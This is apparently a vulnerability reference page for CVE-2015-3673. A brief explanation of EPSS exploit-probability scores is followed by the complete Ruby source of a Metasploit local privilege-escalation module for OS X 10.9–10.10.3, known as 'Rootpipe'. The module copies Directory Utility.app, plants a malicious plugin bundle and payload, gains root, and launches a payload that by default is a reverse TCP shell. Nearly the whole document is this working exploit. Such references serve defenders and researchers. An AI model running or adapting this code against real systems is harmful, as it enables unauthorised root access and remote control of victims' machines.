CVE-2015-3673 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation', 'Description' => %q{ This module exploits the rootpipe vulnerability and bypasses Apple's initial fix for the issue by injecting code into a process with the 'admin.writeconfig' entitlement. }, 'Author' => [ 'Emil Kvarnhammar', # Vulnerability discovery and PoC 'joev' # Copy/paste monkey ], 'References' => [ ['CVE', '2015-3673'], ['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/'] ], 'DisclosureDate' => 'Jul 1 2015', 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64, 'SessionTypes' => ['shell'], 'Privileged' => true, 'Targets' => [ ['Mac OS X 10.9-10.10.3', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp', 'PrependSetreuid' => true } )) register_options([ OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes']) ]) end def check if ver? && admin? vprint_status("Version is between 10.9 and 10.10.3, and is admin.") return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit print_status("Copying Directory Utility.app to #{new_app}") cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'") cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'") print_status("Writing bundle plist to `#{plist_file}'") write_file(plist_file, plist) print_status("Writing payload to `#{payload_file}'") write_file(payload_file, binary_payload) register_file_for_cleanup(payload_file) print_status("Writing malicious shared library to `#{exploit_file}'") write_file(exploit_file, plugin_exploit) print_status("Running Directory Utility.app") cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'") print_status("Deleting Directory Utility.app") cmd_exec('rm -Rf "#{new_app}"') print_status('Executing payload...') cmd_exec("/bin/sh -c '#{root_file} &'") end def ver? Gem::Version.new(get_sysinfo['ProductVersion']).between?( Gem::Version.new('10.9'), Gem::Version.new('10.10.3') ) end def admin? cmd_exec('groups | grep -wq admin && echo true') == 'true' end def sploit "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}" end def plugin_exploit File.read(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug' )) end def binary_payload Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) end def exploit_file "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle" end def plist_file "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist" end def new_app @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app" end def plist %Q| <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>CFBundleGetInfoString</key> <string>RootpipeBundle</string> <key>CFBundleExecutable</key> <string>RootpipeBundle</string> <key>CFBundleIdentifier</key> <string>com.root.pipe</string> <key>CFBundleName</key> <string>RootpipeBundle</string> <key>CFBundleShortVersionString</key> <string>0.01</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>IFMajorVersion</key> <integer>0</integer> <key>IFMinorVersion</key> <integer>1</integer> </dict> </plist> | end def payload_file @payload_file ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}" end def root_file @root_file ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}" end end